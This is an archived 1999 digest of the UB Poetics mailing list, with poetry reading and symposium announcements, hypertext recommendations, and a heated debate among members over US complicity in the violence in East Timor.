In Grant Auditorium in the Law Building at Syracuse University.

Tonight: Malena Morling, poet, author of Ocean Avenue (New Issues)

9/29 -- Diane Williams, fiction writer, author of Excitability (Dalkey?)

10/13 -- poet Kimiko Hahn

11/3 -- Edwidge Danticat, novelist

11/17 -- William Gass (!!)

12/8 -- our very own Brooks Haxton, who has a book of Greek translations coming out

C'est tout.

Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

↑ Index

214. Christina Milletti
Re: I can't believe it!!!
Wed 15 Sep 1999

Follow the money. SE Asian Royal Dutch Shell (aka Indonesia), The Lippo Bank, the Asian Tiger money market funds, all stand to lose big in any protracted instability.

Given this, is the US administration's reaction a surprise?

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215. Christina Milletti
Re: US/Aus/Indonesia/E Timor
Wed 15 Sep 1999

In a message dated 9/15/99 9:06:20 PM !!!First Boot!!!, [redacted] writes:

<< I don't believe that either Patrick, I just think your explanations are formula in some respects and inadequate to explain the condition of group killing psychosis. >>

Why must it be reduced to group psychosis? The murdering gangs are paid. They don't kill, they don't eat. Talk about Occam's razor.

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216. **Taylor Brady**
Re: I can't believe it!!!
Wed 15 Sep 1999

You wrote:

Now, wait a minute. Let's reality check.

What we're talking about is a relatively unsophisticated third world military apparatus (not a crack group like Hitler's SS divisions, Iraq's Guards--an outgrowth of the Ten Thousand Immortals; or US Seals, etc.) and some machete wielding, body gutting thugs of a paramilitary nature common under many conditions, who are in unison attacking a virtually defenseless populace.

Is that not so? Are they facing a line of troops who are harrying their flanks, threatening their lines, an army or resisting force which makes "simply could not have pursued" without US/Japan/etc help and a priori statement?
--- ---

Despite your will to believe otherwise, the fact remains that without the $1.1 billion dollars of direct U.S. weapons sales to Indonesia since 1975, without the U.S. continually blocking the implementation of U.N. resolutions against Indonesia's occupation, and particularly without the doubling of the military aid budget which was the tangible product of Kissinger's house-call, the invasion never would have happened in the first place. To leap from this to one of Stephen Ellis' questions, my guess is that the "interested parties" - i.e., those who stood to gain - included the usual roster of arms manufacturers, but also and in a more scalar sense the same oil and mineral corporations currently propping up the occupation of Irian Jaya. I'm looking into this and will hopefully get back to the list with names in a day or two...

Back, for the moment and for the last time, to the denials: The mass-mediated attempt to portray the current crisis as simply a matter of gangs of thugs running amok is precisely an attempt to let those larger interests off the hook. As I wrote before, the link between the militias and the Indonesian armed forces has been amply demonstrated. Beyond this, the more visibly brutal attacks by the militias are being used as an excuse in most of the corporate media outlets for not attending to the larger-scale "operations" being carried out by the armed forces themselves - forced relocation of thousands of Timorese to camps in West Timor at the moment, not to mention the hundreds of thousands killed during the occupation. Murder and political violence against an entire society on that scale simply didn't happen through the disorganized rioting of "some machete wielding, body gutting thugs" - and it's here that the U.S. emerges as most fully complicit in its role as bankroller (shored up the military budget, helped guarantee World Bank and IMF monies, etc.), drill sergeant (trained the

military, especially the upper echelons - there are your "operatives in the field"), and international spin doctor (kept the rest of the UN at bay). And while Habibie has expressed his acquiescence to UN intervention, General Wiranto is on record as refusing to leave the armed forces' "brothers in arms" (i.e., the militias) alone in East Timor - and this, despite the lack of any organized armed resistance.

But enough. To reiterate Kali Tal's point: other posts have provided the information and the citations necessary to "make the link." That you choose to disregard them, or deliberately misread them, is lamentable, but there's nothing to be done about that. Nor would I have it any other way. I leave you to your inalienable right to remain aloof, and to the sanctity of your belief in the mystical spontaneity of political violence. Because I've seen flame wars in this space before, and because, questions of etiquette aside, I doubt whether they have any political efficacy beyond the self-congratulatory, I will henceforth restrict my involvement in this thread to posting the aforementioned link(s) and name(s).

Taylor Brady

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Tuesday, September 14, 1999 4:45 PM
To: [redacted]
Subject: Re: I can't believe it!!!

I don't doubt what you are saying about Kissinger, policies, support, yadda yadda.

This isn't my point. We're off track. My comments were directed to this statement by Peter Spence: "It may also be just as good and probably easier to protest the American gov't for their ongoing role in the slaughter and oppression of the East Timorese."

The words "ongoing role in the slaughter and oppression" makes me think that like
Nazis in the Ukraine, we are there with a policy which places active operatives in
the field who are promoting and directing hacking gangs, resident psychos, and
Indonesian army units to slaughters, rapine, burnings, church massacres, etc. etc.
etc.

US doesn't have to grant imprimatur to any dictator to begin slaughter, forced relocations, tortures, etc. This kind of thing happens all the time and is

happening in other places and climes without imprimaturs. The dictator, the state is imprimatur in of itself and always has been, an arrogance which breeds intolerance at best and secret police mechanisms at worst. Such bodies and culture require no Madeline Albright, Kissinger, Ford, or whoever to lend them authority to oppress.

But here is a statement I wish to challenge:

"... a direct outgrowth of deliberate policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and un-sustainable without that aid."

Now, wait a minute. Let's reality check.

What we're talking about is a relatively unsophisticated third world military apparatus (not a crack group like Hitler's SS divisions, Iraq's Guards--an outgrowth of the Ten Thousand Immortals; or US Seals, etc.) and some machete wielding, body gutting thugs of a paramilitary nature common under many conditions, who are in unison attacking a virtually defenseless populace.

Is that not so? Are they facing a line of troops who are harrying their flanks,
threatening their lines, an army or resisting force which makes "simply could not
have pursued" without US/Japan/etc help and a priori statement?

It looks to me like forced takeover requires only a savage will to see it through,
not smart bombs. It's happened many times before, and will again.

Taylor Brady wrote:

> A few points:
>
> 1) Kissinger's "visit" was considerably more instrumental than the
> "chat-and-tea" image might otherwise conjure one to believe. It was rather,
> the U.S. State Department's imprimatur and guarantee of military assistance
> to a regime embarked on a series of "policy initiatives" which included,
> most notably, a) the slaughter and forced relocation of much of its own
> peasantry, labor leaders and movement members, intellectuals, etc., in the

> name of a defense against communism; and b) the invasion and annexation of
> Timor, resulting in a brutal occupation which left nearly a quarter of a
> million dead. This, while the U.S. (among others - recently, the role of
> Japan and Australia would also bear some scrutiny) continued (and
continues,
> notwithstanding Clinton's half-assed "retraction of assistance") to
provide
> the proverbial "military, technical and economic aid" to the Indonesian
> regime. This isn't a matter of having bought arms years ago, but one of
> receiving - until this week, and that only if Clinton's retraction is to
> taken at face value - ongoing direct support from the U.S. and other
> armaments-producing nations. Thus, while the machetes might be a domestic
> industry in Indonesia, the rifles, troop transport vehicles, paramilitary
> training, etc., most certainly are not. This aid has been continued under
> recent administrations with the rationalization that it's the Indonesian
> military itself that can be counted on to bring the militias back into
line.
> For the sheer ridiculousness of this claim, if one still needs it
> substantiated, one might turn to Alan Nairn's recent reports on Pacifica
> Radio, detailing the intimate relationship between the army and the
> militias. But other sources are many and well-documented. If you have web
> access, you might take a look at the East Timor Action Network's web site:
> www.etan.org
> 2) The above would seem to have some bearing on your assertion that East
> Timor is attempting to "secede" from a legitimate national government -
> which is simply not the case. East Timor, as an Indonesian territory, is
the
> result of a forcible annexation sponsored by U.S. and other interests.
Many
> of the key figures in the initial "sponsorship" remain in positions of
power
> today. In other words, this is about as far from a quixotic attempt to
> rectify a distant and tragic "other-people's" history as you can get.
> 3) You ask: "We turned the other way on Savac we see now (sp?) in Iran,
> though our intelligence knew they were out of control, but did we do the
> same in Indonesia? And if we did, does this really account for the
> murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't
> simply a case of turning the other way, but a direct outgrowth of
deliberate
> policies of military and economic support pursued by the U.S., Japan and
> other militarized nations. And although the point has now been reached at
> which the killings more than likely cannot be stopped without some sort of

> direct intervention, the extreme probability was, until quite recently,
that
> the Indonesian regime simply could not have pursued its policies of
> aggression without the direct support of the U.S. and its allies - that,
in
> other words, the annexation itself would have been unfeasible and
> unsustainable without that aid. Until very recently, a cut-off of such
> support might have sufficed to avert the campaign of terror now being
> pursued. There is no "genocidal gene" - and such pseudo-explanations
> ("they're just nuts _over there_, who can understand their motivations?"),
> I'd warrant, most often mark the site of a real and determinate chain of
> events, the complicity of one's own nation in which is precisely what the
> resort to racialized typologies attempts to obscure.
>
> -----Original Message-----
> From: UB Poetics discussion group
[mailto:[redacted]]
> On Behalf Of Michael Neff
> Sent: Monday, September 13, 1999 10:15 AM
> To: [redacted]
> Subject: Re: I can't believe it!!!
>
> Pete,
>
> Before I write anyone, help me here, if you can. I'm not following this
> line of
> accusation. I need to be clear.
>
> Since we've had involvement in Indonesia, it must be our fault that the
> Indonesian army and brother gangs are slaughtering people in churches,
> hacking
> them machetes? Did they get the machetes from America too? I suppose if
> their
> govt hadn't bought arms from us years ago then all would be peaceful?
This
> sounds naive to the point of absurdity.
>
> I see no connection with what you are saying and the psychotic rampage
fest
> going on in Timor. You've noted that Kissinger, etc, visited Timor and
then
> the

> slaughters began. Is there an association here? If so, can you link it
for
> me? I don't see it from what you are saying.
>
> Must we blame the American gov for it, are we compelled? There are those
> who
> believe the US govt manufactures tornadoes to chase them around and wreck
> their
> barns. I don't believe that either, but thousands are convinced.
>
> And why should the US support Timor seceding when we didn't support
South
> Carolina, and certainly don't support Quebec? Also, plenty of money we
send
> overseas, in one form or another, gets redirected and wasted. Witness the
> diversion of funds by Russian mafia. We turned the other way on Savac
> (sp?) in
> Iran, though our intelligence knew they were out of control, but did we do
> the
> same in Indonesia? And if we did, does this really account for the
> murdering
> we see now?
>
> I'm listening. Perhaps you can educate me, flow chart me, graph me, time
> line
> me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or
> Moynihan or
> Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
> genocidal gene that compels large groups of people to willfully set fires
to
> other large groups of people.
>
> Until you do, I'm not writing anyone.
>
> Mike
>
> pete spence wrote:
>
> > please put this out to all mailartists for action. also send a protest
> > to:[redacted]
> > [redacted]
> > [redacted]

> > thanks pete spence
> >
> > speak up and out about East Timor. It may also be just
> > >as good
> > >and probably easier to protest the American gov't for their ongoing
role
> in
> > >the slaughter and oppression of the East Timorese. It was the American
> > >Gov't. that paid for and supervised the original Indonesian invasion,
and
> > >the American gov't is trying hard to escape culpability with ambiguous
> > >declarations (coming from such shits as Madeline Albright) about the
> > >chaotic
> > >and oppressive state of affairs while also trying to take any potential
> > >actions and tie them up in red tape. Such action clearly gives the
> > >Indonesian gov't has a chance to tie up power once again while everyone
> > >else
> > >takes their time designating panels and working groups. Since a visit
by
> > >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
> > >government, using mostly US-made and US-paid-for weapons and military
> > >intelligence support, has killed between 1/4 and 1/3 of the original
> > >inhabitants. That's about 200,000-300,000 people. We're talking
> > >concentration camps between 1975-1979. Paid for by US taxpayers.
Certain
> > >people meant business when it all started 24 years ago; I don't think
> they
> > >mean any less harm now. If the US supported the democratic efforts of
> the
> > >East Timorese none of this probably would have happened.
> > >
> > >http://www.freetimor.com/
> > >
> > >http://www.lbbs.org/ZNETTOPnoanimation.html
> > >
> > >http://www.motherjones.com/east_timor/
> > >
> > >http://www.etan.org/
> > >
> > >regards,
> > >Patrick Herron
> > >

> > >
> > >>so what the way i see it.. maybe better protest to the
> > >indonesian government on the handling of the east timorese might be a
> > >better
> > >usage of your time; [redacted]
> > >
> > >thanks pete spence
> > >
> > >_____
> > >Get Your Private, Free Email at http://www.hotmail.com
> > >
> > >_____
> > >Get Your Private, Free Email at http://www.hotmail.com
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> Web Del Sol
> http://webdelsol.com
> LOCUS OF LITERARY ART ON THE WWW

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Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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217. Rachel Loden
Re: hypertext suggestions
Wed 15 Sep 1999

> *but does anyone have any*
> *suggestions of some cut-above hypertext links?*

My favorite cyberpoem is Stephanie Strickland's "Ballad of Sand and Harry Soot":

http://wordcircuits.com/gallery/sandsoot/

If you've been underwhelmed by other mixtures of image and text, check out this "ballad tale of love gone wrong between the enigmatic Sand, she of silicon-based liveliness, and Soot, a man of carbon, biochemical man, man of flesh and mood, a person."

Rachel

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218. KENT JOHNSON
Will the sun rise tomorrow?
Wed 15 Sep 1999

Michael Neff asks a fascinating question about the horrific violence in East Timor: Couldn't it have happened anyway, even (yes, alas) without CIA engineering of the 1965 coup against Sukarno, the ensuing massacre in a year's time of around 3/4 of a million people, the ongoing US-coddling of the IMF-loving Indonesian generals, and the green light of silence from the West as that Western-trained and supplied military invaded and scorched East Timor? It might _seem_ as if we've been complicit in creating certain violence-enabling conditions on a macro scale, but how can we _really_ be sure? As Neff puts it, lots of people are getting killed by natively-made machetes, so how can we _really_ know this current explosion of violence wouldn't have happened sans our assistance anyway?

He's right, of course. As Hume asked, How can we be sure that the sun will rise tomorrow?

Or as Wittgenstein asked, more or less, How can I be sure that that man is truly in pain?

We can't! There is simply no certain relationship between our observation of the world and its "empirical" manifestations, no matter how stubborn the evidences may seem.

So if we can't be sure about the sun, or about human
pain, even, how can we be sure about something like the
consequences of imperialist policy in Indonesia, especially when
people like to kill each other with rocks anyway?!

Life is a puzzle, and I agree with Mr. Neff. Now I'm going to read about American poetry at Web del Sol.

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219. **Maria Damon**

Poetry As Cultural Critique Symposium, Nov. 5 & 6

Wed 15 Sep 1999

ANNOUNCEMENT: POETRY AS CULTURAL CRITIQUE -

Symposium: Poetry as Cultural Critique
November 5-6, 1999
University of Minnesota, Xcp: Cross-Cultural Poetics, & Borders Bookstore (Uptown)
co-directors, Maria Damon and Mark Nowak

Friday, November 5th:

1:30pm, Introductory Remarks by Maria Damon

2:00-3:00pm, Opening Talk
Tim Brennan, "The Obscure Reveries of the Inward Gaze"

3:15-4:45pm, Opening Roundtable on "Poetry as Cultural Critique"
Panelists: Harryette Mullen, Tim Brennan, C.S. Giscombe
Moderator: Maria Damon

7:30pm, Reading at Border's Uptown
Introductions, Mark Nowak
Readers: Roy Miki, Harryette Mullen

Saturday, November 6th

10:00am-11:30am, Talks
Juliana Spahr, "I'm Dracula": Bruce Andrews's "Confidence Trick"
Harryette Mullen, "Incessant Elusives: The Oppositional Poetry of Will Alexander and Erica Hunt"

1:00pm-2:30pm, Talks
Roy Miki, "Unravelling Roy Kiyooka: A Re-assessment Amidst Shifting Boundaries"
C. S. Giscombe, "ReCrossing the Prairie State"

3:00pm-4:30pm, Roundtable on "Journals: The Poetics and Politics of Editorship"
Panelists: Juliana Spahr, Roy Miki, Mark Nowak
Moderator: Eric Lorberer (Rain Taxi Review of Books)

7:30pm, Reading at Border's Uptown
Introductions, Mark Nowak
Readers: Tim Brennan, Juliana Spahr, C.S. Giscombe

Juliana Spahr teaches at the University of Hawai'i, Manoa. _Response_ was published in 1996 by Sun and Moon Press. Spiderwasp or Literary Criticism was published this year by Explosive Books. She has a critical book, Everybody's Autonomy, forthcoming from U of Alabama P next year. (**RESPONSE would be best book of Juliana's to have on hand.)

Tim Brennan teaches is a Prof. at the University of Minnesota. Books: 1. _Salman Rushdie and the Third World: Myths of the Nation_ (Macmillan, 1989). 2. _At Home in the World: Cosmopolitanism Now_ (Harvard, 1997). 3. Forthcoming, _Music in Cuba_ (U. of Minnesota, 2000). (***either of the first two books are fine by Tim)

C.S. Giscombe is an English professor at the Pennyslvania State University. My recent poetry books are _Here_ (1994), _Giscome Road_ (1998), & _Two Sections from Practical Geography_ (1999); my prose book of linked essays about travel, race, & family, _Into & Out of Dislocation_ , will be published in March 2000. _Here_ and _Giscome Road_ were both published by Dalkey Archive Press (Fairchild Hall, Illinois State University, Normal, IL 61790); the _Giscome Road_ book is, apparently, out of print but may be available again by November. The _Two Sections from Practical Geography_ chapbook was published by Diaeresis Chapbooks (c/o Mark Scroggins, 401 NE 45th St., Boca Raton FL 33431.) _Into & Out of Dislocation_ will be published by North Point Press/ Farrar, Straus & Giroux. (***HERE or GISCOME ROAD, if you can get it)

Harryette Mullen teaches African-American literature and creative writing at UCLA. She is the author of four poetry books, including Tree Tall Woman (Energy Earth Communications, 1981), Trimmings (Tender Buttons Books, 1991), S*PeRM**K*T (Singing Horse Press, 1992), and Muse & Drudge (Singing Horse Press, 1995).

Roy Miki teaches contemporary literature in the English Department at Simon Fraser University. He is known in the Canadian literary community as a writer, poet, cultural activist, and for his editorial work on the literary journal West Coast Line (1990-1999). His publications include studies of William Carlos Williams and George Bowering, as well as Justice in Our Time: The Japanese Canadian Redress Settlement (co-authored with Cassandra Kobayashi; Talonbooks), a documentary history of the Japanese Canadian redress movement, and two collections of poems, Saving Face (Turnstone) and Random Access File (Red Deer College Press). He is also the editor of Pacific Windows: Collected Poems of Roy K. Kiyooka (Talonbooks), which received the 1997 poetry award from the Association for Asian American Studies. His latest publication is a collection of essays, Broken Entries: Race Subjectivity Writing (The Mercury Press, 1998).

SYMPOSIUM SPONSORED BY XCP: CROSS-CULTURAL POETICS, THE UMN ENGLISH DEPARTMENT, CREATIVE WRITING PROGRAM, CLA, BORDERS BOOKS AND MOST OF ALL THE MCKNIGHT ENDOWMENT FOR THE ARTS AND HUMANITIES

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220. **Joan Houlihan**
Re: I can't believe it!!!
Wed 15 Sep 1999

Taylor,

Of all the responses to Mike Neff's e-mail, yours seem to be the best examples of a logic constructed partly on the idea that because events occur together in time, the events are somehow linked causally, and partly on the idea that events which you do not personally witness, or have any special knowledge of, are nonetheless events that you can interpret not only correctly, but also "righteously"--that is, you are able to divine the motivations and moral construction of all those involved, from the beginning of the forced annexation of East Timor to its bloody fight for independence.

It's quite amazing to me, a liberal, to see the kind of reaction generated by a clearly written, well-reasoned message (Neff's). What has created this firestorm? Simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly responsible for what's happening in East Timor. I don't see that Mike Neff was disputing any historical facts, or events leading up to what's happening there--only that he was questioning the idea that these successive events *had* to be linked to either a kind of evil intentionality, or an immoral turning away by the US government. He was instead, and rightly I think, proposing the idea that deeper, and even random, forces are also at work in these situations--not only, but also. That we need to consider the constant recurrence of group hatreds, killings, the human prediliciton for wiping each other out. Nowhere was he suggesting that arms were *not* sold, that US interests were *not* pursued, or that the US often gets behind what turn out to be (or always were) rotten leaders/causes--sometimes in the interest of avoiding worse leaders/causes, or more likely, for simple economic or ideologic reasons.

Now that I've seen what comes back from this "radical" idea that the US government may not be the God we can blame, I'm astonished not only by the list's intolerance, but also by the realization that so many liberals have given up their ability to analyze and respond to a clear idea objectively, for the more comfortable idea that there's always clearly someone to blame--if not God, then the government.

Joan

> *From: Taylor Brady <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: I can't believe it!!!*
> *Date: Tue, 14 Sep 1999 09:53:14 -0700*
>
> *A few points:*
>
> *1) Kissinger's "visit" was considerably more instrumental than the "chat-and-tea" image might otherwise conjure one to believe. It was rather, the U.S. State Department's imprimatur and guarantee of military assistance to a regime embarked on a series of "policy initiatives" which included, most notably, a) the slaughter and forced relocation of much of its own peasantry, labor leaders and movement members, intellectuals, etc., in the name of a defense against communism; and b) the invasion and annexation of Timor, resulting in a brutal occupation which left nearly a quarter of a million dead. This, while the U.S. (among others - recently, the role of Japan and Australia would also bear some scrutiny) continued (and continues,*
> *notwithstanding Clinton's half-assed "retraction of assistance") to provide the proverbial "military, technical and economic aid" to the Indonesian regime. This isn't a matter of having bought arms years ago, but one of receiving - until this week, and that only if Clinton's retraction is to taken at face value - ongoing direct support from the U.S. and other armaments-producing nations. Thus, while the machetes might be a domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line.*
> *For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. But other sources are many and well-documented. If you have web access, you might take a look at the East Timor Action Network's web site: www.etan.org*
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> *result of a forcible annexation sponsored by U.S. and other interests. Many of the key figures in the initial "sponsorship" remain in positions of power*
> *today. In other words, this is about as far from a quixotic attempt to rectify a distant and tragic "other-people's" history as you can get.*
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same in Indonesia? And if we did, does this really account for the murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't simply a case of turning the other way, but a direct outgrowth of deliberate policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and unsustainable without that aid. Until very recently, a cut-off of such support might have sufficed to avert the campaign of terror now being pursued. There is no "genocidal gene" - and such pseudo-explanations ("they're just nuts _over there_, who can understand their motivations?"), I'd warrant, most often mark the site of a real and determinate chain of events, the complicity of one's own nation in which is precisely what the resort to racialized typologies attempts to obscure.

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Monday, September 13, 1999 10:15 AM
To: [redacted]
Subject: Re: I can't believe it!!!

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for

me? I don't see it from what you are saying.

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believe the US govt manufactures tornadoes to chase them around and wreck their
barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South
Carolina, and certainly don't support Quebec? Also, plenty of money we send
overseas, in one form or another, gets redirected and wasted. Witness the
diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in
Iran, though our intelligence knew they were out of control, but did we do the
same in Indonesia? And if we did, does this really account for the murdering
we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line
me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
genocidal gene that compels large groups of people to willfully set fires to
other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

please put this out to all mailartists for action. also send a protest
to:[redacted]
thanks pete spence

speak up and out about East Timor. It may also be just as good
and probably easier to protest the American gov't for their ongoing role in
the slaughter and oppression of the East Timorese. It was the American

Gov't. that paid for and supervised the original Indonesian invasion, and
the American gov't is trying hard to escape culpability with ambiguous declarations (coming from such shits as Madeline Albright) about the chaotic
and oppressive state of affairs while also trying to take any potential actions and tie them up in red tape. Such action clearly gives the Indonesian gov't has a chance to tie up power once again while everyone else
takes their time designating panels and working groups. Since a visit by
Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian government, using mostly US-made and US-paid-for weapons and military intelligence support, has killed between 1/4 and 1/3 of the original inhabitants. That's about 200,000-300,000 people. We're talking concentration camps between 1975-1979. Paid for by US taxpayers. Certain
people meant business when it all started 24 years ago; I don't think they
mean any less harm now. If the US supported the democratic efforts of the
East Timorese none of this probably would have happened.

http://www.freetimor.com/

http://www.lbbs.org/ZNETTOPnoanimation.html

http://www.motherjones.com/east_timor/

http://www.etan.org/

regards,
Patrick Herron

so what the way i see it.. maybe better protest to the
indonesian government on the handling of the east timorese might be a better
usage of your time; [redacted]

thanks pete spence

Get Your Private, Free Email at http://www.hotmail.com

Get Your Private, Free Email at http://www.hotmail.com

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
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> *Web Del Sol*
> *http://webdelsol.com*
> *LOCUS OF LITERARY ART ON THE WWW*

_____
Get Your Private, Free Email at http://www.hotmail.com

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221. A H Bramhall
I'm With Stupid
Wed 15 Sep 1999

everything should be interesting, I totally agree. in the light of that, I'm wondering -- innocently, mind you - what with the air so filled with baloney (say bologna and you're a phongna) crying to be heard -- I use the term 'baloney' with a verifiably sweet expression on my face, by the way -- if there is a particular thing that poets do when NOT writing their ineffable freedoms. you know, to keep the tractor in working fettle. do they let sail away their language for the more effable diurnal this and that, or do they -- how should I say it?-- breathe the damn poetical elemental all the freaking time? what is the life of a poet and how does it, that life, work in this treasured ignorant world? I'm a dullard from way back but it could be, correct me if I'm wrong, that I've hit on a philosophical question here. those are toughies ALWAYS, but gee, it seems like we ought to evaluate the monster we're making constantly, and not just in our powerful creative moments when we share Emily Dickinson's blistering (and unveering) sense of course thru the forest. such evaluation seems simply the dutiful thing, BUT I COULD BE WRONG. I, a lowly rock in a world of mountains, just wonder if the comprehensive intensity remains intact, or does it get to slack off when no one from Parnassus is there to cheer? I've never said a truth in my life, so I'm talking need to know here. are we stuck with our language or is it stuck with us, and all our caprices? what's the 4-1-1 on community standards? I'm hot to know. I've got lots to learn.

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222. Catherine Daly
Re: Trying to Trace Barbara Baracks
Wed 15 Sep 1999

Ann Vickery wrote:
>
> Dear Poetics List,
>
> I'm trying to trace Barbara Baracks who was active in the New York poetry
> scene in the late seventies. Would anyone have any information on where
> she might be now?
>
> Thanks,
>
> Ann Vickery

She worked with me at Bankers Trust for several years; she left her position there over a year ago; her address in the Poets & Writers address book is 427 15th Street, #4B, Brooklyn, NY 11215; this is a good address as of... over a year ago.

Regards,
Catherine Daly
[redacted]

↑ Index

223. Billy Little
Re: novels of the 60's
Wed 15 Sep 1999

---

lady chatterley's lover
henry miller
 ullysses
 lolita
and i thought ginger man
were forbidden in the states until maybe the howl trial or was that in 57 too?
Didn't the 60's start in 55? and end with the murder of john lennon?was that 79?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

[redacted]
zonko

↑ Index

224. Dodie Bellamy
Re: hypertext suggestions
Wed 15 Sep 1999

At 11:14 PM -0700 9/14/99, Robert Kendall wrote:
>Check out the Word Circuits Directory, which lists dozens of hypertext stories
>and poems, at http://www.wordcircuits.com/dir.
>
>--Rob

Thanks, Rob, and all the rest of you who so thoughtfully replied to me. I've forwarded all your suggestions to Rachel.

Dodie

↑ Index

225. Christopher Reiner
L.A. Reading
Wed 15 Sep 1999

Sunday at Cafe Balcony...the first reading of our new season:

Avery E. D. Burns
Joseph Noble

Starts at 4 p.m. Address and other info are at http://www.litpress.com

Avery E. D. Burns's book Stagger is out on the web site Black Fire White Fire (http://home.earthlink.net/~kunos/). Poems from "A Duelling Primer" have appeared in Chain, Idiom and Proliferation. Other work has been in Angle, Rhizome, and Windhover. A book "The Idler Wheel" is forthcoming on Sink Press, and, poems from this work will be in the next issues of Instress, Ribot, and Syllogism. Avery has edited the magazine lyric& since 1992, and has run the Canessa Park reading series in San Francisco for the past 3 years.

Joseph Noble has had creative and critical work published in Hambone, lyric&, Talisman, Antenym, and TO. He has poetry appearing in upcoming issues of Melodeon and Vapor/Strains. He is currently working on a new series, "an ives set," which engages with the music and ideas of Charles Ives. The third section, which is still in progress and is called "Improvisations," riffs off several of Ives' pieces. Joseph Noble is also writing two collaborative poem series, one each with the poets Avery Burns and Eric Selland.

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226. **Michael Neff**
Re: US/Aus/Indonesia/E Timor
Wed 15 Sep 1999

Christina Milletti wrote:

> *In a message dated 9/15/99 9:06:20 PM !!!First Boot!!!, [redacted] writes:*
>
> *<< I don't believe that either Patrick, I just think your explanations are formula*
> *in some respects and inadequate to explain the condition of group killing*
> *psychosis. >>*
>
> *Why must it be reduced to group psychosis? The murdering gangs are paid. They don't kill, they don't eat. Talk about Occam's razor.*

Why? Why indeed? I should have realized there must be a considerable sense of job well done when they have earned their pay. I'm certain they would never stoop to disemboweling unless paid to do so! This is all absorbing to me. Since you are keenly aware of the mechanisms in place, no doubt having first hand knowledge, I suppose you can reveal whether they are paid by the hour or by the body or head?

If they are working for the NSA they deserve a retirement package.

Course, if they're rampaging as humans are inclined to do from time to time, then how can it be the fault of US? It therefore stands to reason they must be paid.

↑ Index

227. **Michael Neff**
Re: I can't believe it!!!
Wed 15 Sep 1999

> *Sounds like you're cutting flame-bait to me.*

No.

> *To support your*
> *viewpoint you'd have to argue that the US habit of providing*
> *financial and military support to dictatorial governments in the*
> *Third World (as long as they are willing to support our economic*
> *interests) has no bearing on our moral or ethical responsibilities in*
> *those regions.*

No, that's not my viewpoint. And I don't know what the last part of your statement really means. Is this a global policeman thing?

> *From what you say, it shouldn't matter that in*
> *country after country we are willing to prop up unpopular regimes*
> *(and occasionally invent and install them) to serve our economic and*
> *political interests despite popular resistance to externally imposed*
> *structures of authority. Asking Pete to "educate" you on this topic*
> *is sidestepping your own responsibility to defend your position of*
> *non-involvement.*

That's not my position ... I'm tired of this already. And I know far more about it than you suspect. You are simply touching on International Politics 101, my friend. It's far more complicated than this.

> *He provided you with URLS--I have no doubt that*
> *you're educated enough to read them, come to your own conclusions and*
> *then "educate" *Peter* if you so choose.*
>
> *I haven't posted to POETICS in ages because the level of discourse*
> *here usually winds up pissing me off if I get involved,*
>
> *despite the*
> *fact that I'm a publisher of poetry and that really this *ought* to*
> *be a place I'm comfortable hanging out. When somebody on POETICS*
> *posts something that somebody else doesn't like (particularly on*
> *political grounds) the common tactic on this list is to snidely and*
> *sarcastically attack the intelligence of the poster, and rarely ever*
> *to directly engage their political arguments. I like political*
> *arguments and I think they're related to poetry. What I don't like is*
> *the very nasty tone of intellectual and moral superiority wielded by*
> *some (usually more conservative) members to silence others here. It*
> *takes more work to make your own argument, Peter, than to sneer at*
> *someone else's argument.*
>
> *Receding into silence once again,*
> *Kali*

--

==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

↑ Index

228. **pete spence**
Re: I can't believe it!!!
Wed 15 Sep 1999

> *I haven't posted to POETICS in ages because the level of discourse here usually winds up pissing me off What I don't like is the very nasty tone of intellectual and moral superiority wielded by some (usually more conservative) members to silence others here. It takes more work to make your own argument, Peter, than to sneer at someone else's argument.*
>
> *Receding into silence once again,*
> *Kali*

who is this peter you refer to here??? i'm certainly not being over rightious be-
live me in this discuss. re the poetics list i find it one of the most even discus-
sions i'm on,,try FRAMEWORKS for angst and silliness//pete spence

_____
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↑ Index

